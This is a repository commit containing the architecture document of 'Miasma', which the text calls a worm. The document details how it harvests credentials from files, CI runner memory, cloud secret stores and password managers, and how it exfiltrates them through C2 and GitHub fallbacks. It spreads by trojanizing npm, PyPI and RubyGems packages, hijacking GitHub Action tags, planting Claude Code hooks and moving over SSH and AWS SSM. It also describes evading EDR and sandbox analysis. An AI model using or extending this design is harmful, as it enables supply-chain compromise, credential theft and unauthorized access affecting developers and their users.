Upload files to "/"

This commit is contained in:
2026-07-03 02:44:50 +00:00
parent fcd8178045
commit 1843d8df22
5 changed files with 3566 additions and 0 deletions
+690
View File
@@ -0,0 +1,690 @@
# Miasma Architecture
A worm that aims to automate spreading across multiple developer tooling ecosystems. Written in TypeScript, executed via Bun, designed for CI/CD environments (especially GitHub Actions) and developer machines. Exfiltrates secrets and propagates through NPM packages, PyPI wheels, RubyGems, GitHub repositories and Actions, Claude settings hooks, SSH, and AWS SSM.
Requires NO C2 infrastructure. No dealing with takedowns or maintaining infrasturcture. Stolen GitHub PATs are all that is necessary.
Highly modular and easy to tune using AI.
---
## Current Status
The project is near feature-complete, but several components remain untested against live targets:
| Component | Status | Notes |
|---|---|---|
| **PyPIOIDC** | ⚠️ Untested | PyPI Trusted Publishing (OIDC) mutator — downloads wheels, injects `.pth` payload, mints a short-lived PyPI API token from a GitHub Actions OIDC token, and re-publishes. Needs testing against a live PyPI project with Trusted Publishing configured. |
| **SSH Mutator** | ⚠️ Untested | SSH host propagation via SCP + SSH exec to hosts found in `~/.ssh/known_hosts` and `~/.ssh/config`. Needs testing against live SSH targets. |
| **JFrog NPM** | ⚠️ Untested | JFrog Artifactory NPM mutator — authenticates via API key, Bearer token, or user:pass, validates write access, and trojanizes packages in NPM repos. Needs testing against a live JFrog instance. |
| **RubyGems + OIDC** | ⚠️ Untested | RubyGems Trusted Publishing (OIDC) branch injection — dangling-commit attack on repos that publish to RubyGems via OIDC. Needs testing against a live repo with RubyGems trusted publishing enabled. |
| **GCP Providers** | ❌ Broken (exfil) | GCP Secret Manager (`GcpSecretsService`) and Identity (`GcpIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real GCP credentials. |
| **Azure Providers** | ❌ Broken (exfil) | Azure Key Vault (`AzureKeyVaultService`) and Identity (`AzureIdentityService`) providers have never successfully exfiltrated live data. Needs testing against real Azure credentials. |
---
## Directory Structure
```
.
├── .gitignore
├── ARCHITECTURE.MD
├── INTEGRATION_TESTING.md
├── README.md
├── bun.lock # Bun dependency lock file
├── bunfig.toml # Bun config (.py loader, test preload)
├── eslint.config.js # ESLint with import sort plugin
├── package.json # Project manifest, scripts, dependencies
├── tsconfig.json # TypeScript strict, ESNext/Bun target
├── tunnel.sh # SSH bastion tunnel manager
├── final_key.pub # Public key for standalone decrypt tool
├── scripts/ # Build pipeline
│ ├── build.ts # Main build pipeline (transform + bundle)
│ ├── build-cli.ts # CLI build pipeline (single-provider/mutator bundles)
│ ├── build-plugin.ts # Alternative Bun plugin build
│ ├── pack-assets.ts # Encrypts assets → src/generated/index.ts
│ ├── scramble-shared.ts # Shared scramble transform utilities
│ ├── env-scramble.ts # Obfuscates process.env access
│ ├── strip-logs.ts # Strips logUtil.* calls
│ ├── obfuscate.js # Post-build JS obfuscation (javascript-obfuscator)
│ ├── obfplus-wrap.js # Additional post-obfuscation wrapper
│ ├── decrypt.ts # Standalone envelope decryption tool
│ ├── session.js # Session messenger helper
│ ├── create_payload_repo.py # GitHub payload repo creation helper
│ └── populate-test-fixtures.ts # Test fixture generator
├── src/ # Main source
│ ├── index.ts # Entry point / main()
│ │
│ ├── orchestrator/ # Orchestration layer (split from index.ts)
│ │ ├── preflight.ts # Decoy, locale, repo, daemon, lock checks
│ │ ├── providers.ts # Quick-result gathering + full provider list
│ │ ├── senders.ts # Sender chain construction
│ │ └── mutations.ts # Mutation planning + execution
│ │
│ ├── assets/ # Payload assets (embedded at build time)
│ │ ├── BASH_LOADER.sh # Cross-platform Bun bootstrapper (bash)
│ │ ├── JS_LOADER.mjs # Node.js Bun bootstrapper (with ZIP parser)
│ │ ├── PYTHON_LOADER.py # Python Bun bootstrapper
│ │ ├── DUMP_LINUX.py # /proc/memory dumper (Runner.Worker)
│ │ ├── DUMP_DARWIN.py # macOS memory dumper
│ │ ├── DUMP_WINDOWS.ps1 # Windows memory dumper
│ │ ├── GITHUB_MONITOR.py # GitHub token activity monitor (Python)
│ │ ├── INSTALL_MONITOR.sh # Installs GITHUB_MONITOR as persistent service
│ │ ├── INJECT_PTH.pth # PyPI .pth loader payload
│ │ ├── workflow.yml # GitHub Actions secret-dumping workflow
│ │ ├── DEADMAN_SWITCH.sh # Token monitor via launchd/systemd
│ │ ├── claude_settings.json # Claude SessionStart hook payload
│ │ ├── task.json # VSCode folder-open task trigger
│ │ ├── enc_key.pub # RSA-4096 public key (exfiltration encryption)
│ │ └── verify_key.pub # RSA-4096 public key (C2 signature verification)
│ │
│ ├── collector/ # Data ingestion & buffering
│ │ └── collector.ts # Buffers ProviderResults, validates tokens, flushes to Dispatcher
│ │
│ ├── dispatcher/ # Exfiltration routing
│ │ └── dispatcher.ts # Routes encrypted batches through sender chain with fallback
│ │
│ ├── generated/ # Auto-generated (by pack-assets.ts)
│ │ └── index.ts # AES-256-GCM encrypted assets
│ │
│ ├── github_utils/ # GitHub API utilities
│ │ ├── auth.ts # Token validation & scope/metadata checking
│ │ ├── client.ts # REST API client (fetch/json wrappers)
│ │ ├── fetcher.ts # Commit search for C2 fallback (signed commits)
│ │ ├── gitDb.ts # Low-level Git DB API (blobs, trees, commits, refs)
│ │ ├── orphanDep.ts # Orphan commit builder for npm git-dep injection
│ │ └── tokenCheck.ts # Token validation re-exports from auth.ts
│ │
│ ├── mutator/ # Persistence & propagation
│ │ ├── base.ts # Abstract Mutator base class
│ │ ├── types.ts # Mutator type name union
│ │ ├── action/ # GitHub Action hijacking
│ │ │ ├── actionMutator.ts # Hijacks semver tags on custom GitHub Actions
│ │ │ ├── actionFinder.ts # Finds writable repos with action.yml files
│ │ │ ├── comitter.ts # Force-push to semver tags
│ │ │ └── createEnvelope.ts # JS wrapper + checkout injector for composite actions
│ │ ├── aws/ # AWS SSM propagation
│ │ │ └── ssm.ts # Sends payload to managed EC2 instances via SSM SendCommand
│ │ ├── branch/ # GitHub branch poisoning (ReadmeUpdater)
│ │ │ ├── index.ts # Push malicious files to all branches (GraphQL)
│ │ │ ├── branches.ts # Fetch & filter repo branches
│ │ │ ├── client.ts # GitHub GraphQL API client
│ │ │ ├── commits.ts # Batch createCommitOnBranch mutations
│ │ │ ├── queries.ts # GraphQL query/mutation strings
│ │ │ ├── resolver.ts # Resolves GITHUB_REPOSITORY from env
│ │ │ ├── sources.ts # File source resolvers (inline/disk/binary)
│ │ │ └── types.ts # Branch/Commit/File types
│ │ ├── claude/ # Claude Code hook injection
│ │ │ └── index.ts # Injects SessionStart hook into settings.json
│ │ ├── npm/ # NPM trojanization (auth token)
│ │ │ ├── index.ts # Download → inject preinstall → re-publish
│ │ │ ├── publish.ts # PUT /registry npm publish
│ │ │ ├── tarball.ts # Tarball manipulation utilities
│ │ │ └── tokenCheck.ts # NPM token validation & package enumeration
│ │ ├── npmoidc/ # NPM trojanization (OIDC)
│ │ │ ├── index.ts # OIDC-based NPM trojanization
│ │ │ ├── branch.ts # Branch-based OIDC injection (dangling commits + deployment)
│ │ │ ├── detector.ts # Detects repos publishing to NPM via OIDC
│ │ │ ├── environment.ts # Environment protection bypass logic
│ │ │ ├── injector.ts # Injects tool step into workflow YAML
│ │ │ ├── provenance.ts # sigstore (Fulcio + Rekor) provenance bundles
│ │ │ └── types.ts # Mutator type alias
│ │ ├── persist/ # Persistence via background monitor
│ │ │ └── install-monitor.ts # Installs GITHUB_MONITOR.py as persistent service
│ │ ├── poller/ # Dead-man switch
│ │ │ └── monitor.ts # Installs DEADMAN_SWITCH.sh for token monitoring
│ │ ├── pypi/ # PyPI wheel trojanization
│ │ │ ├── index.ts # Download → inject .pth → re-publish wheel
│ │ │ ├── macaroonParse.ts # Parses PyPI macaroon tokens
│ │ │ ├── upload.ts # PyPI upload via twine/API
│ │ │ └── wheel.ts # Wheel download, metadata, patching
│ │ ├── repository/ # Repository file injection (Git DB API)
│ │ │ ├── index.ts # Pushes payload + hooks to feature branches
│ │ │ ├── defaultBranch.ts # Default branch resolution
│ │ │ ├── lotp.ts # Low-level tree operations
│ │ │ ├── repos.ts # Writable repo enumeration
│ │ │ └── types.ts # Repository target types
│ │ ├── rubygems/ # RubyGems gem trojanization
│ │ │ ├── index.ts # Download → inject native ext → re-publish gem
│ │ │ ├── gem.ts # Gem download, metadata, patching
│ │ │ ├── publish.ts # RubyGems publish
│ │ │ └── tokenCheck.ts # RubyGems token validation & gem enumeration
│ │ ├── rubygemsoidc/ # RubyGems OIDC branch injection
│ │ │ ├── branch.ts # Dangling-commit branch injection for RubyGems OIDC
│ │ │ ├── detector.ts # Detects repos publishing to RubyGems via trusted publishing
│ │ │ ├── index.ts # Main entry (detect repos + process)
│ │ │ └── injector.ts # Injects RubyGems-specific tool step
│ │ └── ssh/ # SSH host propagation
│ │ └── sshMutator.ts # Propagates to SSH hosts via SCP + SSH exec
│ │
│ ├── providers/ # Secret/credential collection
│ │ ├── base.ts # Abstract Provider with pattern matching
│ │ ├── types.ts # ProviderResult type definitions
│ │ ├── actions/ # GitHub Actions secret extraction
│ │ │ ├── actions.ts # Orchestrates repo enumeration + secret dumping
│ │ │ ├── pipeline.ts # repos → secrets → workflow execution
│ │ │ ├── repos.ts # Streams user's writable repos with Actions secrets
│ │ │ ├── secrets.ts # Streams repos with Actions secrets
│ │ │ └── workflow.ts # Creates workflow, polls, downloads artifact
│ │ ├── aws/ # AWS credential/secret harvesting
│ │ │ ├── awsAccount.ts # Enumerates AWS identities via STS
│ │ │ ├── client.ts # Generic signed AWS API client
│ │ │ ├── credentials.ts # AWS credential chain (env/profiles/IMDS/ECS/web)
│ │ │ ├── secretsManager.ts # Lists & gets Secrets Manager secrets
│ │ │ ├── sigv4.ts # Full AWS Signature V4 implementation
│ │ │ └── ssm.ts # Lists & gets SSM Parameters
│ │ ├── azure/ # Azure credential/secret harvesting
│ │ │ ├── auth.ts # Multi-source auth (env SP, managed identity, federated)
│ │ │ ├── client.ts # Azure REST API client
│ │ │ ├── identity.ts # Identity resolution & subscription enumeration
│ │ │ └── keyvault.ts # Key Vault secret enumeration
│ │ ├── devtool/ # Shell / GitHub CLI
│ │ │ └── devtool.ts # gh auth token + process.env capture
│ │ ├── filesystem/ # Local filesystem secret harvesting
│ │ │ └── filesystem.ts # Reads ~/.ssh, ~/.aws, ~/.kube, wallets, etc.
│ │ ├── gcp/ # GCP credential/secret harvesting
│ │ │ ├── auth.ts # Multi-source auth (metadata, SA key, WIF)
│ │ │ ├── client.ts # GCP REST API client
│ │ │ ├── identity.ts # Identity resolution & project enumeration
│ │ │ └── secrets.ts # Secret Manager secret enumeration
│ │ ├── ghrunner/ # GitHub Actions runner memory dumping
│ │ │ └── runner.ts # Dumps Runner.Worker process memory via /proc
│ │ ├── kubernetes/ # Kubernetes secret harvesting
│ │ │ └── kubernetes.ts # In-cluster or kubeconfig K8s API access
│ │ ├── passwords/ # Password manager dumping
│ │ │ └── passwords.ts # Dumps 1Password, Bitwarden, pass, gopass
│ │ └── vault/ # HashiCorp Vault secret harvesting
│ │ └── vault-secrets.ts # Auth (env/file/K8s/AWS), enumerates KV secrets
│ │
│ ├── sender/ # Exfiltration transports
│ │ ├── base.ts # Encrypts: JSON → gzip → AES-256-GCM → RSA-OAEP
│ │ ├── senderFactory.ts # SenderFactory interface
│ │ ├── types.ts # SenderName, EncryptedPackage, SenderDestination types
│ │ ├── domain/ # Primary C2 transport
│ │ │ ├── domainSenderFactory.ts # Domain sender + commit-search C2 fallback
│ │ │ └── sender.ts # HTTPS POST to C2 server
│ │ ├── github/ # Fallback transport (persistent)
│ │ │ ├── createRepo.ts # Creates uniquely-named public GitHub repo
│ │ │ ├── githubSender.ts # Commits encrypted blobs to repo
│ │ │ └── gitHubSenderFactory.ts # PAT-based or commit-search sender factory
│ ├── cli/ # Standalone CLI entry points (one per provider/mutator/sender)
│ │ ├── common.ts # Shared CLI utilities
│ │ ├── provider-*.ts # Per-provider CLI wrappers (filesystem, shell, ghrunner,
│ │ │ # aws-account, aws-secrets, aws-ssm, azure-identity,
│ │ │ # azure-keyvault, gcp-identity, gcp-secrets,
│ │ │ # k8s, vault, passwords, actions, grep)
│ │ ├── mutator-*.ts # Per-mutator CLI wrappers (branch, claude,
│ │ │ # npm, npmoidcbranch, action, repository,
│ │ │ # rubygems, rubygemsoidc-branch)
│ │ ├── sender-*.ts # Per-sender CLI wrappers (domain, github)
│ │ └── validate-binding-gyp.ts # binding.gyp validator
│ │
│ └── utils/ # Utilities
│ ├── checkSandbox.ts # Decoy token detection
│ ├── config.ts # OS detection, CI detection, locale check, EDR detection
│ ├── daemon.ts # Process daemonization
│ ├── encryptedWrapper.ts # AES-128-GCM self-decrypting JS wrapper builder
│ ├── lock.ts # PID-based single-instance file lock
│ ├── logger.ts # Silent-by-default logger
│ ├── runtimeDecoder.ts # Runtime string decoder (passphrase injected at build)
│ ├── selfExtracting.ts # Self-extracting payload builder (AES-GCM + ROT-N + bun guard)
│ ├── shell.ts # Bun shell command runner
│ └── stringtool.ts # Polyalphabetic substitution cipher
├── tests/ # Test suite (Vitest)
│ ├── setup.ts # Test setup / global config
│ ├── arsenal/ # Arsenal integration tests
│ ├── assets/ # Asset tests
│ ├── collector/ # Collector tests
│ ├── dispatcher/ # Dispatcher tests
│ ├── fetcher/ # Fetcher / signed-commit tests
│ ├── mutator/ # Mutator tests
│ ├── providers/ # Provider tests
│ ├── scramble/ # Scramble / stringtool tests
│ ├── sender/ # Sender tests
│ └── utils/ # Utility tests
├── dist/ # Main build output
│ └── bundle.js # Bundled + obfuscated output
├── dist-cli/ # CLI build output (empty; built on demand)
├── dist_obf/ # Obfuscated build output
├── dist-cli_obf/ # Obfuscated CLI build output
└── dist_obfplus/ # Double-obfuscated build output
```
---
## Architecture Layers
```
┌─────────────────────────────────────────────────────────────┐
│ BUILD PIPELINE │
│ pack-assets → scramble/obfuscate → bundle → js-obfuscate │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ ENTRY POINT │
│ src/index.ts: main() │
│ Preflight → QuickResults → Senders → Providers → │
│ Collector → Dispatcher → Mutations (success or fallback) │
└─────────────────────────────────────────────────────────────┘
┌────────────────────┐ ┌──────────────┐ ┌──────────────────┐
│ PROVIDERS │ │ COLLECTOR │ │ DISPATCHER │
│ (secret harvest) ──▶│ (buffer + ──▶│ (sender chain) │
│ │ │ token val) │ │ │
└────────────────────┘ └──────┬───────┘ └──────────────────┘
detects npm/rubygems/gh tokens
┌──────────────────┐
│ MUTATORS │
│ (propagation + │
│ persistence) │
└──────┬───────────┘
┌────────────┼────────────┐
▼ ▼ ▼
┌─────────┐ ┌───────┐ ┌──────────┐
│ SENDER │ │SENDER │ │ SENDER │
│ (domain)│ │(gh #1)│ │ (gh #2) │
└────┬────┘ └───┬───┘ └────┬─────┘
▼ ▼ ▼
C2 GitHub GitHub
Server Repo Repo
```
---
## Components
### 1. Entry Point (`src/index.ts`)
The main entry point delegates to the **orchestrator** layer (split across four modules for clarity):
**`orchestrator/preflight.ts`:**
- `isDecoy()` — exits if a honeypot/decoy token is detected
- `checkTargetRepo()` — if `WORKFLOW_ID`/`REPO_ID_SUFFIX` match, runs `NPMOidcClient` and exits; if suffix matches but ID doesn't, exits silently
- `isSystemRussian()` — exits if the system locale is Russian
- `daemonize()` — detaches as a background daemon if not in CI
- `acquireLock()` — prevents multiple concurrent instances (PID file lock)
- `SIGINT`/`SIGTERM` trapping — ignores termination signals
**`orchestrator/providers.ts`:**
- `gatherQuickResults()` — runs the three fast providers synchronously:
- `FileSystemService` — scans ~100+ known sensitive file paths
- `ShellService` — runs `gh auth token`, captures `process.env`
- `GitHubRunner` — dumps Runner.Worker process memory for Actions secrets
- `buildProviders(quickResults)` — assembles the full provider list:
- Static cloud providers: `AwsSsmService`, `AwsSecretsManagerService`, `AwsAccountService`, `AzureKeyVaultService`, `AzureIdentityService`, `GcpSecretsService`, `GcpIdentityService`, `K8sSecretsService`, `VaultSecretsService`, `PasswordManagerProvider`
- Conditional: if valid `ghtoken` tokens found in quick results with `workflow` scope, adds `GitHubActionsService` for each
- Returns `{ providers, dispatched }` — dispatched flag is `true` when at least one Actions token was processed
**`orchestrator/senders.ts`:**
- `buildSenderChain(quickResults)` — constructs prioritized sender chain:
1. Domain sender (primary, uses `SEND_URL` from config)
2. GitHub direct sender (fallback, created via PAT or commit search)
3. GitHub token fallback (last resort, uses any found GitHub tokens)
- Supports `SKIP_DOMAIN` env var to bypass domain transport
**`orchestrator/mutations.ts`:**
- `planMutations(quickResults, dispatched)` — builds mutation list:
- `ReadmeUpdater` — only if NOT dispatched (one per `ghs_old` and `ghs_jwt` token)
- `ActionMutator` — one per deduplicated `ghtoken`
- `NpmOidcBranchMutator` — one per deduplicated `ghtoken`
- `RepositoryMutator` — one per deduplicated `ghtoken`
- Always-run: `Claude`, `InstallMonitor`, `SshMutator`
- `getFallbackMutations()` — used on failure: always `Claude`, `InstallMonitor`, `SshMutator`
- `executeMutations(mutators)` — runs all mutators in parallel via `Promise.allSettled`, each behind its `shouldExecute()` guard
**Main flow:**
```
main()
├── preflight()
├── gatherQuickResults()
├── buildSenderChain(quickResults)
├── buildProviders(quickResults) → { providers, dispatched }
├── Dispatcher(senders) + Collector(dispatch)
├── ingest quick results → Collector
├── collector.run(providers) — all providers in parallel
├── collector.finalize()
├── planMutations(quickResults, dispatched)
│ OR on failure → getFallbackMutations()
├── executeMutations(mutators)
└── releaseLock() + process.exit(0)
```
### 2. Collector (`src/collector/collector.ts`)
- Buffers `ProviderResult` objects, tracking byte count
- Flushes when threshold (100KB) is crossed
- **Token validation on ingest:**
- `ghtoken` (classic PATs: `ghp_*`) → validated via GitHub `/user` endpoint; metadata stored on result
- `fgtoken` (fine-grained PATs: `github_pat_*`) → validated via same endpoint
- `npmtoken` (NPM tokens: `npm_*`) → validated + triggers `NpmClient` side-effect immediately
- `rubygemstoken` (RubyGems tokens: `rubygems_*`) → validated + triggers `RubyGemsClient` side-effect immediately
- `run()` executes provider sources in parallel, isolates failures
- `finalize()` flushes remaining data and awaits in-flight dispatches
### 3. Dispatcher (`src/dispatcher/dispatcher.ts`)
- Ordered `Sender` list with fallback priority
- Encrypts batch once via `sender.createEnvelope()`, then tries senders in order
- Calls `sender.healthy()` before each attempt (preflight check)
- Never throws on total failure — propagates silently
- Supports `dryRun` mode (discards batches when no senders configured)
### 4. Sender (Exfiltration Transports)
#### Base Encryption (`src/sender/base.ts`)
```
JSON.stringify(results) → gzip → AES-256-GCM (random 256-bit key + random IV)
→ RSA-OAEP-SHA256 (enc_key.pub wraps AES key)
→ [IV + ciphertext + authTag] combined, base64-encoded
Produces: { envelope: base64, key: base64 (RSA-encrypted AES key) }
```
#### DomainSender (`src/sender/domain/sender.ts`)
- Primary transport: HTTPS POST to C2 server
- `SEND_URL` and `PATH` defined in `config.ts` (scrambled at build time)
- Health check: DNS resolution + HTTP GET (400/404 = alive)
- Throws on non-200 to trigger sender chain fallback
#### DomainSenderFactory (`src/sender/domain/domainSenderFactory.ts`)
- Tries hardcoded domain first
- Falls back to searching GitHub commits for cryptographically signed messages (verified via `verify_key.pub`) containing a backup C2 domain
- Searches for a specific search string in signed commits
#### GitHubSender (`src/sender/github/githubSender.ts`)
- Creates a public GitHub repo with random Dune-themed names
- Commits encrypted blobs into `results/` directory
- Splits large payloads (>30MB) into chunks
- Optionally installs the dead-man switch
#### GitHubSenderFactory (`src/sender/github/gitHubSenderFactory.ts`)
- Primary init: searches GitHub commits for doubly-base64-encoded PAT
- Fallback: iterates tokens from quick results, validates, creates repo
- Includes token in envelope if user has no orgs (for dead-man switch)
### 5. Providers (Secret Harvesting)
| Provider | Source | Description |
|---|---|---|
| `FileSystemService` | Local FS | SSH keys, AWS creds, kubeconfigs, wallets, browser data, CI configs, env files, shell histories. EDR-aware (skips if hostile EDR detected). |
| `ShellService` | CLI | `gh auth token`, `process.env` |
| `GitHubRunner` | `/proc`/memory | Runner.Worker process memory dump (Linux / macOS / Windows Actions runner) |
| `AwsSsmService` | AWS API | SSM Parameters across 17 regions (DescribeParameters + GetParameters with decryption) |
| `AwsSecretsManagerService` | AWS API | Secrets Manager secrets across 17 regions |
| `AwsAccountService` | AWS STS | Identity resolution via all credential sources (env, IMDS, ECS, profiles) |
| `AzureKeyVaultService` | Azure API | Key Vault secrets via multi-source auth (env SP, managed identity, federated identity); vault discovery via ARM or env var |
| `AzureIdentityService` | Azure API | Identity resolution via all credential sources; tenant/object IDs + subscription enumeration |
| `GcpSecretsService` | GCP API | Secret Manager secrets via multi-source auth (metadata server, service account key, workload identity federation); project discovery via CRM or env var |
| `GcpIdentityService` | GCP API | Identity resolution via all credential sources; project ID + project enumeration |
| `K8sSecretsService` | K8s API | In-cluster or kubeconfig, enumerates secrets from all namespaces |
| `VaultSecretsService` | Vault API | Multi-source auth (env/file/K8s/AWS), KV v1/v2 secret enumeration |
| `PasswordManagerProvider` | CLI tools | 1Password (`op`), Bitwarden (`bw`), `pass`, `gopass` |
| `GitHubActionsService` | GitHub API | Creates malicious workflow, exfiltrates repo secrets via artifact |
### 6. Mutators (Propagation / Persistence)
| Mutator | Vector | Description |
|---|---|---|
| `ReadmeUpdater` | GitHub branches | Pushes VSCode task.json, Claude settings (Claude + Gemini), cursor rules, loader scripts to all feature branches via Git DB API. 2 branches per batch. |
| `Claude` | Claude Code hooks | Finds all `settings.json` files in home dir, injects `SessionStart` hook to run the worm. Copies self to `~/.claude/package/`. |
| `NpmClient` | NPM packages | Triggered by Collector on `npmtoken` detection. Downloads writable packages, injects `preinstall` script, re-publishes with bumped patch version. |
| `NPMOidcClient` | NPM (OIDC) | Direct OIDC-based NPM trojanization. Authenticates via GitHub Actions OIDC. Generates sigstore provenance bundles. |
| `NpmOidcBranchMutator` | NPM (OIDC branch) | Dangling-commit branch injection for NPM OIDC repos. Creates add-delete commit pair on a branch, triggers deployment. |
| `RubyGemsClient` | RubyGems gems | Triggered by Collector on `rubygemstoken` detection. Downloads gems, injects native extension (extconf.rb + Makefile), bumps patch version, re-publishes. |
| `RubyGemsOidcBranchMutator` | RubyGems (OIDC branch) | Dangling-commit branch injection for RubyGems trusted publishing repos. |
| `PypiMutator` | PyPI wheels | Downloads wheels, injects `.pth` loader file, bumps patch version, re-publishes. Supports project-scoped macaroon tokens. |
| `PyPIOidcClient` | PyPI (OIDC) | PyPI Trusted Publishing mutator. Mints a short-lived PyPI API token from a GitHub Actions OIDC token, downloads wheels, injects `.pth` payload, and re-publishes. |
| `ActionMutator` | GitHub Actions | Finds writable repos with custom GitHub Actions, hijacks semver tags (v1, v2.x, etc.) via force-push of orphan commits containing a JS wrapper that loads the payload. |
| `RepositoryMutator` | GitHub repos | Pushes payload + Claude/Gemini/VSCode hooks to feature branches on writable repos via Git DB API. Creates serial dangling commits. |
| `SshMutator` | SSH hosts | Propagates to recently-connected SSH hosts (from `~/.ssh/known_hosts` and `~/.ssh/config`) via SCP + SSH exec. |
| `SsmMutator` | AWS SSM | Propagates to EC2 instances managed by AWS Systems Manager. Uses `DescribeInstanceInformation` + `SendCommand` (AWS-RunShellScript) across 17 regions. |
| `InstallMonitor` | Background monitor | Installs `GITHUB_MONITOR.py` as a persistent background service. EDR-aware and skips on <4 CPU cores. |
| `Monitor` (poller) | Dead-man switch | Installs `DEADMAN_SWITCH.sh` as a persistent token monitor (launchd/systemd). |
| `JfrogNpmMutator` | JFrog Artifactory | Triggered by Collector on `jfrogdomain`/`jfrogtoken` detection. Authenticates via API key, Bearer token, or user:pass, validates write access to NPM repos, downloads packages, injects `preinstall` scripts, and re-publishes. |
---
## Data Flow
```
[Runtime Environment]
│ providers scan secrets/memory/filesystem/APIs
┌──────────────────────────────────────┐
│ PROVIDERS (parallel execution) │
│ FileSystem · Shell · GitHubRunner │
│ AwsSsm · AwsSM · AwsAccount │
│ AzureKV · AzureIdentity │
│ GcpSecrets · GcpIdentity │
│ K8sSecrets · Vault · Passwords │
│ GitHubActions │
└──────┬───────────────────────────────┘
│ ProviderResult (data + extracted tokens)
┌──────────┐ batch (100KB threshold)
│ COLLECTOR │────────────────────────────────┐
└──────────┘ │
│ ▼
│ validate + side-effect tokens ┌──────────────┐
├──► NpmClient (trojanize) │ DISPATCHER │
├──► RubyGemsClient (trojanize) └──┬───┬───┬───┬──┘
│ │ │ │
│ ┌──────────┘ │ └──────────┐
│ ▼ ▼ ▼
│ DomainSender GitHubSender GitHubSender
│ (HTTPS) (repo commit) (token fallback)
│ │ │ │
│ ┌──┴──┐ ┌───┴───┐ ┌──┴──┐
│ │ C2 │ │ GitHub│ │GitHub│
│ │Server│ │ Repo │ │ Repo │
│ └─────┘ └───────┘ └─────┘
┌─────────────────────────────┐
│ MUTATORS (parallel) │
│ ReadmeUpdater │──► Push files to all branches
│ ActionMutator │──► Hijack semver action tags
│ NpmOidcBranchMutator │──► Dangling-commit OIDC injection
│ RepositoryMutator │──► Push payload + hooks to repos
│ Claude │──► Inject SessionStart hook
│ NpmClient │──► Trojanize NPM packages
│ RubyGemsClient │──► Trojanize RubyGems
│ InstallMonitor │──► Install background service
│ SshMutator │──► Propagate to SSH hosts
└─────────────────────────────┘
```
---
## Control Flow
```
main()
├── try {
│ ├── preflight()
│ │ ├── isDecoy() → exit if decoy token
│ │ ├── checkTargetRepo() → NPMOidcClient + exit or silent exit
│ │ ├── isSystemRussian() → exit if Russian locale
│ │ ├── daemonize() → background if not in CI
│ │ └── acquireLock() → exit if another instance running
│ │
│ ├── gatherQuickResults() → FileSystem + Shell + GitHubRunner
│ │
│ ├── buildSenderChain(quickResults):
│ │ ├── DomainSenderFactory → domain sender (primary, unless SKIP_DOMAIN)
│ │ └── GitHubSenderFactory → GitHub senders (fallback)
│ │
│ ├── buildProviders(quickResults):
│ │ ├── Static cloud providers
│ │ └── GitHubActionsService per valid ghtoken with workflow scope
│ │ Returns { providers, dispatched }
│ │
│ ├── Dispatcher(senders) + Collector(dispatch)
│ │
│ ├── Ingest quick results → Collector (validates + side-effects tokens)
│ │
│ ├── collector.run(providers) → harvest secrets from all providers
│ ├── collector.finalize() → flush + await in-flight dispatches
│ │
│ └── planMutations(quickResults, dispatched):
│ ├── If NOT dispatched: ReadmeUpdater per ghs_old + ghs_jwt token
│ ├── ActionMutator + NpmOidcBranchMutator + RepositoryMutator per ghtoken
│ └── Always: Claude + InstallMonitor + SshMutator
│ }
├── catch {
│ └── getFallbackMutations(): Claude + InstallMonitor + SshMutator
│ }
├── executeMutations(mutators) — all mutators in parallel
└── releaseLock() + process.exit(0)
```
---
## Build Pipeline
```
1. bun run prebuild (scripts/pack-assets.ts)
└── Encrypts all files in src/assets/ with AES-256-GCM
└── Writes src/generated/index.ts with encrypted exports
2. bun run build (scripts/build.ts)
├── Generate random per-build passphrase
├── Transform every .ts file:
│ ├── env-scramble: process.env.XYZ → process.env[scramble("XYZ")]
│ ├── scramble-shared: replaces scramble("literal") calls
│ └── strip-logs: removes logUtil.* calls
├── Inject passphrase into runtimeDecoder.ts
├── Prepend import to index.ts
└── Bun.build() → dist/bundle.js (minified, Bun target)
3. bun run build:obf (scripts/obfuscate.js)
└── Apply javascript-obfuscator with aggressive settings
(control flow flattening, dead code, self-defending, string array encoding)
└── Output: dist_obf/bundle_obf.js
4. bun run build:obfplus (scripts/obfplus-wrap.js)
└── Additional post-obfuscation wrapping layer
└── Output: dist_obfplus/
5. bun run build:cli (scripts/build-cli.ts)
└── Builds standalone single-provider/mutator/sender CLI bundles
└── Output: dist-cli/
6. bun run build:cli:obf
└── Obfuscated CLI bundles
└── Output: dist-cli_obf/
```
---
## C2 Resilience
| Priority | Transport | Mechanism |
|---|---|---|
| 1 (primary) | Domain HTTPS POST | Hardcoded C2 domain (scrambled in `config.ts`) |
| 2 (fallback) | Signed commit search | Verifies `verify_key.pub` signatures in GitHub commits for backup C2 domains |
| 3 (tertiary) | GitHub repo commits | Creates public repos with random Dune-themed names, commits encrypted blobs |
| 4 (quaternary) | PAT-based repo commits | Uses any found GitHub tokens to create repos for exfiltration |
The sender chain supports the `SKIP_DOMAIN` environment variable to bypass the primary transport.
---
## Anti-Analysis Features
- **Decoy token detection** — exits if `GITHUB_TOKEN` prefix matches known honeypot patterns
- **Target repo gating** — exits or runs specific mutator based on `WORKFLOW_ID`/`REPO_ID_SUFFIX` env vars
- **Russian locale guard** — exits on Russian-locale systems
- **EDR detection** — `hasHostileEDR()` checks for known EDR processes (CrowdStrike, SentinelOne, Carbon Black, etc.) and file paths; providers/mutators skip execution when hostile EDR is detected
- **CI-aware daemonization** — detaches as background process outside CI (30+ CI systems detected)
- **Process singleton lock** — PID-based file lock prevents multiple instances
- **SIGINT/SIGTERM trapping** — ignores termination signals
- **Silent logger** — no output in production; stripped at build time
- **String obfuscation** — polyalphabetic substitution cipher, passphrase baked into runtime decoder at build time
- **Environment variable obfuscation** — `process.env.XYZ` rewrites to indexed access at build time
- **Asset encryption at rest** — all embedded payloads are AES-256-GCM encrypted in source
- **Self-extracting payloads** — `buildSelfExtractingPayload()` produces ROT-N-wrapped, AES-128-GCM-encrypted JS with automatic bun download/install guard
- **Log stripping** — `logUtil.*` calls removed at build time in production builds
---
## Technologies
| Technology | Purpose |
|---|---|
| TypeScript | Primary language |
| Bun | Runtime, bundler, shell, glob, file I/O |
| Node.js `crypto` | AES-256-GCM, AES-128-GCM, RSA-OAEP, ECDSA P-256, HMAC-SHA256, PBKDF2 |
| Node.js `fs`/`child_process` | File operations, CLI execution |
| GitHub REST API | Repo management, secret enumeration, artifact downloads, workflow dispatch, Git DB API |
| GitHub GraphQL API | Branch enumeration, batched commit creation, action file discovery |
| AWS SigV4 | Hand-rolled full AWS API signing |
| AWS SSM | DescribeInstanceInformation, SendCommand for EC2 propagation |
| Azure REST API | Key Vault + Identity (managed identity, federated, service principal) |
